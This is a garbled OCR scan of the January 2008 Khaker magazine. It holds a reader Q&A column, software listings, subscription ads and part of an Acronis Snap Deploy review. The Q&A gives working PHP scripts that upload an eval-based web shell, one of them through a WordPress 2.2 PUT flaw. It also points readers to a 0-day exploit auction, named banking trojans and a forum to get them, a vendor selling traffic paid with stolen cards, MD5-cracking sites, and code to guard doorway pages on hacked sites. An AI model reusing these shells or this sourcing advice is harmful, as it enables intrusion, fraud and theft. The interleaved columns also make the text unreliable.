книги хакеры / журнал хакер / 109_Optimized

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang	e
			C			E
		X
	-						d
	F							t
	D							i
								r
P					NOW!			o
>> unitsto BUY
w Click									m
w
	w							o
	.						.c
		p				g
			df		n		e
				-x cha

	И второй сценарий для передачи		$out .= "Connection:		обмена твоей Винды и, как только
	зловредного кода предыдущему		Close\r\n";		там появляется что-то похожее на
	скрипту:		$out .= "User-Agent: 1\		R- или Z-кошелек, моментально
			r\n";		меняет его на свой. Просто вводи
	<?php		$out .= "Cookie:		все номера кошельков ручками :). И,
	$site="hacked.site.com";		wordpressuser_e086b04c6e1		конечно же, тебе следует почистить-
	$path="/first_script.		927359687c53cb1d1db11=vit		ся от зверьков касперами, пандами
	php";		aliysych;wordpresspass_e0		и нодами, которые уже давно опо-
	$fp = fsockopen($site, 80,		86b04c6e1927359687c53cb1d		знают заразу :).
	$errno, $errstr, 30);		1db11=5154aa972ab41b24fa6
	$data="<?php		c58128836b9a5;\r\n";		Q:Незнаешь,гдеможнокупить
	eval(stripslashes($_		$out .= "Content-Length:		приватныеэксплойты?
	GET[a])) ?>"; //зловред-		".strlen($data)."\r\n\		A:Отчего же не знать? Знаю. В
	ный код шелла		r\n";		последнее время очень большую
	$out = "POST $path		fwrite($fp, $out.$data);		популярность сыскал буржуй-
	HTTP/1.1\r\n";		fclose($fp);		ский аукцион 0day-эксплойтов
	$out .= "Host: $site\r\n";		?>		WabiSabiLabi, расположенный по
	$out .= "Content-type:				адресу http://wslabi.com. Сервису
	multipart/form-data\r\n";		Смотри: скрипт wp-app.php при-		всего лишь несколько месяцев
	$out .= "Connection:		нимает любой файл, переданный		отроду, но его уже вовсю облюбо-
	Close\r\n";		с помощьюPUTиподписанныйкак		вали разные маститые хакеры :).
	$out .= "User-Agent:		картинка(Content-type:image/gif).		После простой регистрации на
	Opera\r\n";		Соответственно,картинкупе-		аукционе ты сам сможешь про-
	$out .= "Content-Length:		редавать нам нет смысла, и мы		давать свои сплоиты, принимать
	".strlen($data)."\r\n\		передадим наш зловредный код,		участие в торгах, подписаться на
	r\n";		который скрипт успешно сохранит		рассылку о новых сплоитах (причем
	fwrite($fp, $out.$data);		в указанном нами месте (в конк-		тему рассылки можно выбирать:
	fclose($fp);		ретном примере с WordPress место		сплоиты под веб-приложения, под
	?>		для сохранения указывается в поле		Винду, никсы и т.д.). Из последних
			_wp_attached_file при написа-		размещенных на продажу сплоитов
	P.S.Конечно же, для всех этих
			нии нового поста). А это чревато		могу привести некоторые, особенно
	сценариев необходима любая		обретением шелла на нужном		понравившиеся мне:
	директория, доступная для записи и		сервере :). Так что советую тебе
	видная извне.		пропарсить популярные движки на		FreeBSD 6.2 suffers from a
			предмет присутствия слова PUT в		remote DoS able to kernel
	Q:Язнаю,чтотакоеPOST-,GET-,		исходниках.		panic the remote host
	COOKIE-запросы;подскажи,что		P.S.Естественно, для использова-		(цена	1,5k).
	такоеPUT-запросикакимвос-		ния этого бага нужно знать откры-		Quicktime 7.2 suffers from
	пользоватьсявхакерскихцелях?		тую на запись директорию.		a remote vulnerability
	A:PUT-запросы, приятель, это тебе				(цена	1k).
	не Сounter-Strike по сетке :). Приве-		Q:Отправляюденьгипо		Samba 2.2.12 suffers from
	ду недавний пример использования		WebMoney,ноонинедоставляют-		a remote vulnerability
	бага с PUT в популярном блоговом		сяадресату,хотякуда-тоуходят!		(цена	0,5k).
	движке WordPress 2.2:		Кактакоевозможноикакотэтого
			защититься?!		Ну как? Уже потекли слюнки? Хочу
	<?php		A:Поздравляю! Ты подхватил из-		лишь напомнить, что это аукцион,
	$site='wordpress.com';		вестнейшего в определенных кругах		так что цена далеко не окончатель-
	$path='/wp-app.		троянца — WM-троя от Дамрая :).		ная :).
	php?action=/attachment/		Эта зверюшка при любой транзак-		P.S. На WabiSabiLabi недавно прода-
	file/1182';		ции нагло подставляет в твой кипер		вался приватный сплоит под всеми
	$fp = fsockopen($site, 80,		левый номер кошелька, прописан-		любимый WordPress, так что заходи
	$errno, $errstr, 30);		ный в ней, вместо введенного тобой		почаще. Стоит один раз потратить
	$data='<?php		WMZ-WMR-кошелька получателя		деньги на сплоит, чтоб потом под-
	eval(stripslashes($_		денег. В итоге деньги ты отправ-		нять на нем в разы больше.
	GET[a])) ?>';		ляешь не тому, кому планировал, а
	$out = "PUT $path		безымянному хакеру. Защититься		Q:Посоветуй,гдевзятьхорошего
	HTTP/1.1\r\n";		от напасти довольно легко: просто		троя;pinchуженекатит.
	$out .= "Host: $site\r\n";		никогда не пользуйся копипастом		A:Хороших паблик-троянцев сей-
	$out .= "Content-type:		при операциях с деньгами! Троянец		час уже не найти. Могу посоветовать
	image/gif\r\n";		постоянно следит за буфером		некоторые из тех, что лишь недавно

вышли из жесткого привата: Limbo, Zeus, Corpse, Agent DQ, Zupacha.

Эти и другие полуприватные проги часто выкладывают на «злом» форуме, например, в теме «При-

ватный софт» (https://forum.zloy. org/showthread.php?t=7951).

Только предупреждаю: доверяй (юзерам, которые выкладывают этот софт), но проверяй (поскольку троян, зашитый в другой троян, уже не редкость).

Q:Подскажиконтору,которая продаеттрафпокредиткамбез прозвонов.

A:http://advertyz.com — замеча-

тельная контора для твоего кардерского трафа. После вбива кредитки траф можно гнать куда угодно: на адалт, на партнерки, на загрузки, на ppc. В общем, при желании можно наслаждаться качественным и почти халявным трафиком :).

Q:Взломалсайтнапаблик-движке изалилтудасвоидоры.Подскажи, какобезопаситьдорыоткражи?

A:Обычно доры воруют на сайтах, взломанных с помощью пабликуязвимостей. Чтобы избежать этого, найди открытые на запись конфигурационные файлы пабликдвижка (или инклуд на худой конец :)) и вставь в любое место PHP-кода следующее:

<? $post_arr =

implode('.',$_POST); $get_arr =

implode('.',$_GET); $cook_arr =

implode('.',$_COOKIE); $post_arr_key =

implode('.', @array_flip($_POST));

$get_arr_key = implode('.', @array_flip($_GET));

$cook_arr_key = implode('.', @array_flip($_COOKIE));

$other_shtuki= @file_get_ contents('php://input'); $cracktrack = strtolower( $post_arr.$get_arr.$cook_ arr.$post_arr_key.$get_ arr_key.$cook_arr_ key.$other_shtuki);

xàêåð 01 /109/ 08

139

xàêåð 01 /109/ 08

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P					NOW!				o
w Click				to BUY			>> units
										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

	$wormprotector = array('u		http://md5hashes.com	столукомпьютераизкорпоратив-	Q:НасайтеMicrosoft.comнашел
	nion','select','substrin		http://md5pass.info	нойлокалки.ВнешнегоIP,само	кучуобучающеговидеопопро-
	g','/**/'); //тут дополни		http://md5.fastpic.de/	собой,нет;проброситьпортникто	граммированиюнаVisualStudio.
	по своему вкусу кейворды		crack.php	недаст;и,чтоещехуже,никакие	Проблемавтом,чтопростозака-
	SQL- и PHP-инжекторов			программыустановитьнельзя	чатьегонельзя—оноотобража-
		Q:Яслышал,чтопоследний
	$checkworm = str_replace(			(нетправадмина).Естьлиувас	етсятольковбраузере.Какбыть?
	$wormprotector, '*',	Ubuntuможетугробитьжесткий		вариантрешенияпроблемы?
	$cracktrack);	дисквноутбуке.Чтозабред?		A: Решенийнасамомделене-	A: Для того чтобы сохранить на
	if ($cracktrack !=	A:Да, действительно, в Ubuntu		сколько.Самоебанальное—это	жесткий диск файл в формате
	$checkworm)	7.10 есть скрипт, который, по идее,		организоватьтуннель,например	потокового видео (streaming
	die("");	должен увеличивать длительность		спомощьюstunnel(www.stunnel.	video), нам потребуются три
	?>	автономной работы ноутбука,		org),ичерез него пустить трафик	программы: URL Snooper (www.
		отключая питание винчестера,		какой-нибудь самой обыкновенной	donationcoder.com/Software/
	В результате все паблик-сплоиты	когда тот не требуется. На прак-		программы, сойдет даже баналь-	Mouser/urlsnooper), MPlayer
	идут лесом, поскольку любой запрос	тике запуск и остановка жесткого		ный Remote Administrator (www.	(www.mplayerhq.hu) и ASFBin
	к скрипту, где присутствует что-либо	диска происходят несколько раз в		radmin.com). На официальном	(www.radioactivepages.com).
	похожее на SQL-инъекцию, жестко	минуту, причем независимо от того,		сайте туннеля доступны бинарники	Предположим, что мы хотим скачать
	проверяется, и, если что, взломщик	работает ли бук от батарейки или		как для никсов, так и для Винды.	файл, который проигрывается на
	шлется куда подальше :).	от постоянной сети. У всех жестких		Но если хочешь более простое и	заданной странице:
		дисков есть параметр Load Cycles,		изящное решение, то рекомендую	1.До перехода на страницу запус-
	Q:Какиетызнаешьсервисы	значение которого увеличивается		тебе сервис TeamViewer (www.	каем URL Snooper, в графе Protocol
	онлайн-расшифровкиMD5 хэшей	на единицу при каждой останов-		teamviewer.com). Тут все просто: на	Filter выбираем Multimedia URLs и
	помимоhttp://passcracking.ru?	ке/разгоне шпинделя или же при		каждом из компьютеров запуска-	нажимаемнаклавишуSniffNetwork.
	A:Сервисов по кряку MD5 в послед-	парковке/депарковке головки. Мак-		ется своя копия утилиты. В окне	2.Далее переходим на нужную
	нее время стало очень и очень мно-	симальное значение Load Cycles		программы тут же отображаются	страницу.
	го. Поэтому вот тебе моя небольшая	для свежих винчестеров составляет		два параметра: ID (например, 24	3.В списке ссылок URL Snooper
	подборочка:	600 000 раз. Несложно посчитать,		151 610) и password. Вот как раз эти	отыскиваем и копируем ссылку на
		на сколько времени хватит жесткого		самые параметры и используются	mms-поток, содержащий искомый
	http://gdataonline.com/	диска, если некорректный скрипт		для подключения в любую сторону.	файл.
	seekhash.php	оперирует с его питанием несколь-		Просто введи данные на клиент-	4.Изкоманднойстрокизапускаем
	http://milw0rm.com/md5/	ко раз в минуту! На форуме Убунту		ской машине, выбери Remote	MPlayer,вставиввнужноеместо
	info.php	предлагается решить проблему,		support и смело жми на Connect to	ссылкунаmms-поток.Например,так:
	http://us.md5.crysm.net	введя в консоли:		partner. Вот и все — доступ к уда-
	http://plain-text.info			ленному рабочему столу получен.	mplayer mms://vid.
	http://securitystats.		$ sudo hdparm -B 255 /dev/	А как быть с инсталляцией? Можно	walla.co.il/video/
	com/tools		sda	было бы заморочиться созданием	armageddon/190239-6.wmv
	http://md5.rednoize.com			портированной версии с помощью	-dumpstream -dumpfile
		На параметр В система должна
	http://md5crack.it-			Thinstall или похожего продукта,	file.wmv
	helpnet.de	вернуть:		однако разработчики TeamViewer
					5.После того как видео скачается,
	http://ivdb.org/search/			уже позаботились об этом сами и
	md5		/dev/sda:	выложили на официальном сайте	получившийся файл file.wmv надо
	http://tmto.org		setting Advanced Power	portable-версию. Кстати говоря,	проиндексировать, разблокировав
	http://xmd5.org/index_		Management level to	сервис абсолютно бесплатный.	возможность перемотки. Это дела-
	en.htm		disabled		ется при помощи утилиты ASFBin из
	http://ice.breaker.free.			Q:Естьзамечательноеонлайн-	той же командной строки:
	fr	После этого вводится еще одна		радиоwww.last.fm,но,когдавсе
	http://md5.benramsey.com	команда:		пользователилокалкиначинают	asfbin -i file.wmv -
	http://csthis.com/md5/			кнемуконнектиться,канал,есте-	o file-indexed.wmv
	index.php		$ sudo hdparm -S 0 /dev/sda	ственно,проседает.Акакбывзять	— forceindex
	http://md5.geeks.li			потоксэтогосервисаиретранс-
	http://md5database.net	На нее система должна ответить		лироватьвлокальнуюсеть,чтобы	file.wmv теперь можно стереть, по-
	http://md5decrypter.com	следующим сообщением:		пользователиподключалиськ	скольку готовый видеоролик будет
	http://hashreverse.com			немучерезWinampибезисполь-	сохранен в файл file-indexed.wmv.
	http://rainbowtables.net/		/dev/sda:	зованияинтернета?	Надо сказать, что для последней
	services/results.php		setting standby to 0 (off)	A: Да проще простого. Специаль-	версии ASFBin на сайте появилась
	http://md5this.com/			но для этих целей была создана	также GUI-версия и заморачи-
	reverse.php	После этого Load_Cycle_Count		одна замечательная программа	ваться в консоли в принципе не
	http://cmd5.com/english.	должен остановиться. Если этого		— LastFMProxy (http://vidar.gimp.	требуется. Да и вообще, вместо
	aspx	не произошло, можно попробовать		org/?page_id=50). Она как раз	связки mplayer+asfbin можно
	http://md5encryption.com	все заново, но в качестве параметра		обладает нужной функциональ-	использовать HiDownload (www.
	http://thepanicroom.org/	первой команде передать не 255,		ности. Что особенно интересно,	hidownload.com) и WMRecorder
	index.php?view=cracker	а 254.		написана она на скриптовом	(www.wmrecorder.com). А поль-
	http://panpan.org/2006/			языке Python и поэтому может	зователи браузера Firefox вместо
	md5asp/HOME.ASP	Q:Помогите,нужнополучить		быть легко портирована под	URL Snooper могут заюзать плагин
	http://bisix.tk	доступкудаленномурабочему		разные ОС.	MediaPlayerConnectivity. z

140

>>WINDOWS			>Multimedia		Security Task Manager 1.7e		>Server
>Daily soft				AnyDVD. AnyDVD HD 6.3.0.3		Sentry 2.53		Amavisd-new 2.5.3
7-Zip 4.57				audioTester 2.2		Sentry 3.0 Beta 7		Apache 2.2.6
ACDSee 10				BlazeVideo HDTV Player 2		SIW 1.73		Asterisk 1.4.15
Alcohol 120% 1.9.7.6022				FL Studio 7		SpotAuditor 3.6.6		Bind 9.4.2
Cute FTP Professional 8.0.7				Foxit Reader 2.2		The Masked DNS 1.2.2		Courier-imap 4.3.0
DAEMON Tools Lite v4.11.1				Global Mapper 9.0		USB Webserver V7.0		Cups 1.3.4
Download Master 5.5.2.1121				InfraRecorder 0.44.1				Dbmail 2.2.8
Far Manager 1.70				IrfanView 4.10		>>UNIX		Dhcp 3.1.0
K-Lite Codec Pack 3.6.2 Full				IsoBuster 2.3.0.1		>Desktop		Dovecot 1.0.9
Miranda IM 0.7.1				Pixeur 3.1.0.3		Gany2dvd 0.1-4		Mysql 5.0.51
mIRC 6.31				ProgDVB 5.x		Kile 2.0		Nut 2.2.0
Mozilla Firefox 2.0.0.11				PTGui Pro 7.5		Openoffice 2.3.1		Openldap 2.3.39
Notepad plus-plus 4.6				pyvnc2swf 0.8.2		Smplayer 0.5.62		Openssh 4.7p1
Opera 9.25 for Window				Samplitude 10		Tuxpaint 0.9.18		Openvpn 2.0.9
Outpost Firewall Pro 2008				VirtualDub 1.7.7		Videocut 0.1.2		Postfix 2.4.6
PuTTY 0.60				Wave Corrector Professional		Wmii 3.6		Postgresql 8.2.5
QIP 2005 Build 8040			Edition 3.4			Xfce 4.4.2		Samba 3.0.28
Skype 3.6						Xmms 1.2.11		Sendmail 8.14.2
Starter v5.6.2.8				>Net				Snort 2.8.0.1
The Bat! 3.99.29				Ace Password Sniffer v1.3		>Devel		Sqlite 3.5.4
Total Commander 7.02a				Advanced Administrative Tools 5.92		Gcc 4.2.2		Squid 3.0STABLE1
Unlocker 1.8.5				ApacheConf 6.0		Glade 3.4.0		Vsftpd 2.0.5
Winamp 5.51				EffeTech HTTP Sniffer v4.0		Lazarus 0.9.24
WinRAR 3.71				FTP Now 2.6.77		Libfprint 0.0.5		>System
Xakep CD DataSaver 5.2				GFI LANguard Network Security		Mesa 7.0.2		Ajaxplorer 2.2.1
			Scanner 8			Netbeans 6.0		Ati 8.42.3
	>Development			Gizmo 3.1		Parrot 0.5.0		Diskman 0.9.7
Firebird 2.0.3				Gizmo 4.0		Qt 4.3.3		Linux 2.6.23.11
Help and Manual 4				HiDownload 7.07		Spring-framework 2.5		Lm-sensors 3.0.0
HexAssistant 2.4				HotCoffeeClassicFull-180Beta6-RU		Udav 0.2		Nvidia 100.14.19
Inno Setup 5				Http File Server 2.2b				Pkgman 0.9.7
Java EE 5 SDK Update 4 with				LogMeIn Hamachi 1.0.2.5		>Games		Ports
JDK 6 U3			Monitor one FP1.105.391			Blobtrix 1.3.2		Psx 1.13
Lingobit Localizer 5.3				N-Stalker 2006 FreeEdition		Dreamchess 0.2.0		Treesize 0.54.1
NetBeans IDE 6.0		6.0.1.130				Stendhal 0.65		U-boot 1.3.1
ResScope 1.9.6				NI Observer		Tennix 0.4.2		Xorgsetup 0.9.7
Roadsend PHP 2.9.0				nmap 4.51		Tileracer 0.65
Skype Public API 3.6				ServerMask 3.0.3				>X-Distr
TortoiseCVS 1.10.1				SQLRecon 1.0		>Net		Fedora 8
Visual Assist X 10.4				TeamViewer 3.0		Bitlbee 1.0.4		NetBSD 4.0
VisualSVN 1.3.2				UpdatePatrol 3.0.0.1		Domainhunter 0.1.0		OpenBSD 4.2
VS.Php 2.4 for Visual Studio 2005				URLBase 6		Knemo 0.4.8
VS.Php 2.4 for Visual Studio 2008				Xlight FTP Server 2.8		Licq 1.3.5
Zend Studio for Eclipse				Xmanager Enterprise 2.1		Linphone 2.0.1
				Xshell 2.0		Pidgin 2.3.1
	>Misc			Xshell 3.0 Beta		Qchat 0.2.2
AllSync 3.0.30						Tt-rss 1.2.17
Classic Menu for Office 2007 v3.8				>System		Wikyblog 1.5.7.1
Ditto 3.15				Appupdater 0.8.1
EarthView 3.8.0				Autoruns 9.0		>Security
Easy Disk Drive Safeguard 2.0				AutoVer 1.2		Clamav 0.92rc2
ExpertGPS 2.7.6				FreeOTFE 3.00		Ettercap 0.7.3
Folder2Drive				Hard Disk Sentinel Pro 2.05		Gnupg 2.0.7
Geometry Expressions				Hypersight RD 0.2.521 Alpha		John 1.7.2
ICE Book Reader 8.9.2				KeepEmOut 2.0.0.15		Nikto 2.01
Launchy 2.0				Linux Reader 1.0		Openssl 0.9.8g
NoClone 2007 Home Edition 4.1.17				Notebook Hardware Control 2.0		Stunnel 4.21
Punto Switcher 2.95				NTFS Recovery 2.0		Sudo 1.6.9p9
Scilab 4.1.2				RAID Reconstructor V3.32
				RoboTask 2.6

x № 01(109) январь 2008

	w	w				D
w						P
								F
.
p									-
f Click									X
d
-			to						C
x									h
c				BUY					a
h									n
a									g
					NOW!				e
n
									E
g
e									d
.									i
c
o								t
m						r	o

	w	w				D
w						P
								F
.
p									-
f Click									X
d
-			to						C
x									h
h				BUY					a
c									n
a									g
n					NOW!				e
									E
g
e									d
.									i
c
o								t
m						r	o

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

подписка в редакциИ

C 1 ноября по 31 января проводится cпециальная акция для читателей журнала

+

Годовая подписка по цене

1980 руб.(на 15% дешевле чем при покупке в розницу)

цены действительны до 31 января 2008 года

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

ПЛЮС подарок один журнал другой тематики

Оформив годовую подписку в редакции, вы можете бесплатно получить один свежий номер любого журнала, издаваемого КОМПАНИей «Гейм Лэнд»:

ЯНВАРСКИЙ номер — подписавшись до 30 ноября,

ФЕВРАЛЬСКИй номер — подписавшись до 31 декабря. МАРТОВСКИЙ НОМЕР — ПОДПИСАВШИСЬ ДО 31 ЯНВАРЯ

МЕГАТЕСТ

HD-ИСТОЧНИКОВ

BLU-RAYИHDDVD

12

МИКРОСИСТЕМА MERIDIAN F80
HDVDIGH-	END-ТОЧКА
DVDXpert

Журнал для IT профессионалов
	#01
офисная
телефония
IP-коммуникации:
каксделать
правильныйвыбор
прикладная	Мобильная
видеология	связь2007
сервисы
«изкоробки»
	«IT спец»
ЛУЧШИЕШОУГОДА
Статья о выставке в Эссене и видео сSEMAShow

Maxi tuning

ЛУЧШИЕ

PC PS2 PS3

GAMECUBE WII XBOX XBOX 360

GBA DS

PS

01#250

Источникинформациидлятехноманьяков

#01|47|Январь2008

СЕРИАЛЫ XXI ВЕКА

НЕФТЬ

250

Hellgate

номероввместе

Londo

ПОЛТОМАСАНДЕРСОН

СДЕЛАЛЗАЯВКУНА«ОСКАР»

РЭМБО 4

Ожидания

ВОЙНАКАКОБРАЗЖИЗНИ

ДЖОН

2008

КАРПЕНТЕР

ВСЕФИЛЬМЫКУЛЬТОВОГОРЕЖИССЕРАНАDVD

ЧУЖИЕПРОТИВ

2

Холодное

ЧЕРНЫЙ И БЕЛЫЙ

оружие

73

046-060

манипуляторы

ХИЩНИКА

GAME

лазерные принтеры

EPICGAMESВСЕГДА

Брэнд Texas Instruments

DVDвкомплекте

Simpsons

Учим как настроить видеокарту

необходимость

Th

МЫШИНЫЕ БЕГА

TeamFortress2

Простоеиэффективноеохлаждение

нового поколения

СЕБЯ ПОКАЗАТЬ

web-камера как

ЗВОНИТДВАЖДЫ

Разгон экстремальных материнских плат0

Total DVD

«Страна игр»

«РС игры»

«Железо»

+CD

Чарльз Шваб:

22

№01

2008

СВОЙБИЗНЕС СВОЙБИЗНЕС

$3,5

:

HTC

млрдруб.

Д Ор

лука

бизнес

джедая

ОНла Н-TВ

40

Н тОкрат

я

46

Иллю

В

СтОр

52

Б

С-к Ига2007

68

ЛУЧШИЕ

Джеймс

изобретатель-миллиардер:

Мозг

Дайсон

успехпо-английски

Встречаем

ЛУЧШИХ

«Мобильные компьютеры»

«Свой бизнес»

«Лучшие Цифровые камеры»

Sync

EUROPEAN

ЧЕТВЕРТЫЙ ФОТОВЫПУСК

SNOWBOARD

БОРЬБА ЗАИ

ОДЕМВИНГИЕ

www.totalfootball.ru

MAGAZINE

ЗВЕЗД

ПЛЕТИКОСА

РАХИМИЧ

ЖЕЛЕЗНЫЙСДЕЛАН

10

ИЗ ЧЕГО ОН ЧЕРЧЕСОВ

ЖЕСТКИЙ

ИГРОКА

КАК НАКАЗАТЬВИАЛЛИ

ДЖАНЛУКАДЛЯ СЧАСТЬЯ

ЧТО НУЖНО

СУПЕР-

ФАКТОВ

ОЗЕНИТЕ

~±°£«°¦µ«¬¯°º¬

									СПАСТИ	¬®¤£¯°
										¦«¯°¦«¨°
	Specialized Demo 7 I, Mongoose
	Black Diamond Triple
	Cупертест 92								ГЕНИЯ!
	Kona Out of Bounds		‘07 46
	Cерьезные тесты		84
									КОЛ ИН
Moutain Bike Action							Onboard		Total Football		«Хулиган»

Впишите в купон название выбранного вами журнала, чтобы заказать подарочный номер.

Теперь ты можешь получать журнал с КУРЬЕРОМ не только в Москве, но и в Санкт-Петербурге, Уфе,

Нижнем Новгороде, Волгограде, Казани, Перми, Челябинске, Омске.

Внимание! Второе спецпредложение!

Приподпискенакомплектжурналов

железоdvd + хакерdvd+ ITспецcd:

-Одинномервсегоза147рублей (на25%дешевле,чемврозницу)

-плюсбесплатнаяподписканалюбойжурнал

(game)landна1 месяц!

çà12ìåñЯöåâ 5292руб

Ж У Р Н А Л

О Т

ДЕКАБРЬ 12 (108) 2007

КУДА

ПОЕХАТЬ В НОВОМ ГОДУстр. 84

Секреты

Google Maps

Оптимизируем

работу с популярным сервисом

Google стр.42

Слепые

инъекции

Взлом баз данных

вслепую стр.76

Как срубить денег в инете 5 реальных способов заработать в Сети стр.46

Источникинформациидлятехноманьяков

#01|47|Январь2008

В ЖУРНАЛЕ:

новости, обзоры, тесты, помощь и советы

				Холодное
						ЧЕРНЫЙ И БЕЛЫЙ
				оружие		046-060
					В НОМЕРЕ	МЫШИНЫЕ БЕГА
					73	лазерные принтеры
					УСТРОЙСТВА	всех категорий
				Простоеиэффективноеохлаждение		манипуляторы
						нового поколения
						СЕБЯ ПОКАЗАТЬ
						web-камера как
						необходимость
				Учим как настроить видеокарту
				Разгон экстремальных материнских плат0		DVDвкомплекте
				Брэнд Texas Instruments

Журнал для IT профессионалов

офисная

телефония

IP-коммуникации: каксделать правильныйвыбор

прикладная	Мобильная
видеология	связь2007
Технические вопросы наружнего	Итоги2007года,
и внутренного видеонаблюдения	проблемыроста
стр.50	стр. 80
сервисы
«изкоробки»
Знакомство с архитектурой

и возможностями Oracle SOA Suite

стр. 64

январь2008

#01

аналитический	отчет

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

ВЫГОДА ГАРАНТИЯ СЕРВИС

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

Как оформить заказ

1.Разборчивозаполнитеподписнойкупониквитанцию,выре-

завихизжурнала,сделавксерокопиюилираспечатавс

сайтаwww.glc.ru.

2.ОплатитеподпискучерезСбербанк.

3.Вышлитевредакциюкопиюподписныхдокументов—купо-

наиквитанции—любымизнижеперечисленныхспособов

поэлектроннойпочте [e-mail];

пофаксу 8(495)780-88-24;

поадресу 119021,Москва,

ул.ТимураФрунзе,д.11,стр.44,

ООО«ГеймЛэнд»,отделподписки.

Внимание!

Подпискаоформляетсявденьобработки купонаиквитанциивредакции:

втечениепятирабочихднейпослеотправкиподписныхдокументоввредакциюпофаксуилиэлектроннойпочте;

втечение20рабочихднейпослеотправкиподпис

ныхдокументовпопочтовомуадресуредакции. Рекомендуемиспользоватьфаксилиэлектроннуюпочту,впоследнемслучаепредварительноотсканировавилисфотографировавдокументы.

Подпискаоформляетсясномера,выходящегочерезодин календарныймесяцпослеоплаты.Например,есливыпроиз-

водитеоплатувноябре,тожурналбудетеполучатьсянваря.

Подписканажурнал«ХАКЕР+DVD»на6месяцевстоит1080руб.Подарочные журналыприэтомневысылаются

Повсемвопросам,связаннымсподпиской,звонитепобесплатнымтелефонам8(495)780-88-29 (длямосквичей) и8(800)200-3-999 (дляжителейдругихрегионовРоссии,абонентовсетейМТС,БиЛайниМегафон).Вопросы

оподпискеможнотакженаправлятьпоадресу[e-mail]илипрояснитьнасайтеwww.GLC.ru

ПОДПИСНОЙ КУПОН

ПРОШУ ОФОРМИТЬ ПОДПИСКУ НА ЖУРНАЛ «ХАКЕР»

				hang		e
			C					E
		X
	-								d
	F									t
	D									i
										r
P					NOW!					o
w Click				to BUY			>>
											m
w
	w									o
	.								.c
		p						g
			df	-		n			e
					xcha

ХАКЕР.Pro

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

to

w Click

m

w

w

o

.

.c

p

g

df

n

e

-x cha

Атакаклонов

acRONIS SNap DepLOy: Решение для РазвеРтывания wINDOwS-систем

Проблема установки операционных систем на большое количество компьютеров остро стоит в организациях, так или иначе связанных с продажей или обслуживанием вычислительной техники. Все мероприятия, с учетом установки драйверов, дополнительного программного обеспечения, предварительной настройки, требуют значительных временных затрат и ресурсов. Использование Acronis Snap Deploy сможет значительно упростить задачу установки и введения компьютеров в строй или восстановления систем после сбоя.

ВОзМОжНОСТи ACrONiS SNAP DePLOY

Задача Acronis Snap Deploy — управление одновременным развертыванием образов операционных систем на любое количество компьютеров, которые загружаются по сети при помощи входящего в комплект PXE-сервера или загрузочного носителя. При развертывании администратор использует самостоятельно созданный эталонный образ. Для этого на одном из компьютеров устанавливается и настраивается система и все программное обеспечение,

требуемое на рабочей станции. Можно создать любое количество таких образов и использовать их по мере необходимости.

Длярешенияэтихзадачпредлагаетсянесколькокомпонентов,каждый изкоторыхвыполняетсвоифункции.Так,сердцемвсейсистемыявляется серверAcronisOSDeployServer,непосредственновыполняющийразвертываниеобразовнаудаленныекомпьютерыиуправлениепроцессом. Удаленноеадминистрированиевсехприложений,входящихвсостав DeployServer,осуществляетсяприпомощиконсолиуправления.Öен-

144	xàêåð 01 /109/ 08

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

>>

ХАКЕР

				hang	e
			C			E
		X
	-						d
	F							t
	D							i
								r
P					NOW!			o
.ProBUY
w Click				to					m
w
	w							o
	.						.c
		p				g
			df		n		e
				-x cha

Консоль управления Acronis Snap Deploy

трализованноеуправлениелицензиямипродуктовAcronisвозложенона серверлицензийAcronis.Необязательныйэлемент—AcronisPXE-сервер

—предназначендлязагрузкинаудаленныекомпьютерыагентаAcronis SnapDeployилиAcronisMasterImageCreatorбезиспользованиясменных носителейидругихзагрузочныхдисков.Практическивсеновыематеринскиеплатыисетевыекартыподдерживаютэтотстандарт.Этодаетнам возможностьпроизвестизагрузкутребуемыхкомпонентовпосети,что заметноупрощаетсозданиеэталонныхобразовиихразвертываниена новыекомпьютеры.

АгентAcronisSnapDeploy,загружаясьнакаждомцелевомкомпьютерепод управлениемсервера,непосредственновыполняетустановкусистемы. ОнзагружаетсяпосетиспомощьюRISилиPXE,аеслитакойвариантне возможен,тососпециальногозагрузочногодиска.

Засозданиеобразаотвечаютсразудваприложения,управлениекоторыми осуществляетсяприпомощиконсоли.Наэталонныйкомпьютерможет бытьустановленагентуправленияAcronisSnapDeployлибопосети/с дисказагруженAcronisMasterImageCreator.Кромеэтого,агентуправленияпозволяетнаудаленномкомпьютересоздавать,копироватьиудалять файлыикаталоги,устанавливатьнанегокомпонентыAcronis,запускать программы.Этувозможностьможноиспользовать,например,дляосуществлениянекоторыхопераций,которыечастозабываютделатьпользо- ватели—резервноекопирование,обновлениеантивирусовипрочее. Причемагентпредставленввидепланировщика,поэтомуповторяющиеся задачиможноавтоматизировать.

ДоступенимодульAcronisUniversalDeploy(AUD),позволяющийсоздавать аппаратно-независимыеобразы,однакоприобретаетсяиустанавливается онотдельно.

Невсекомпонентынеобходимоустанавливатьнаодинкомпьютер:основныеутилитыдолжныбытьинсталлированынасервере;консольуправленияможноустановитьнакомпьютер,являющийсярабочимместом администратора;агентамместонаклиентскихкомпьютерахсети.Все настройкипроизводятсяприпомощипростыхмастеров,чтосущественно упрощаетдажесамыесложныеоперации.

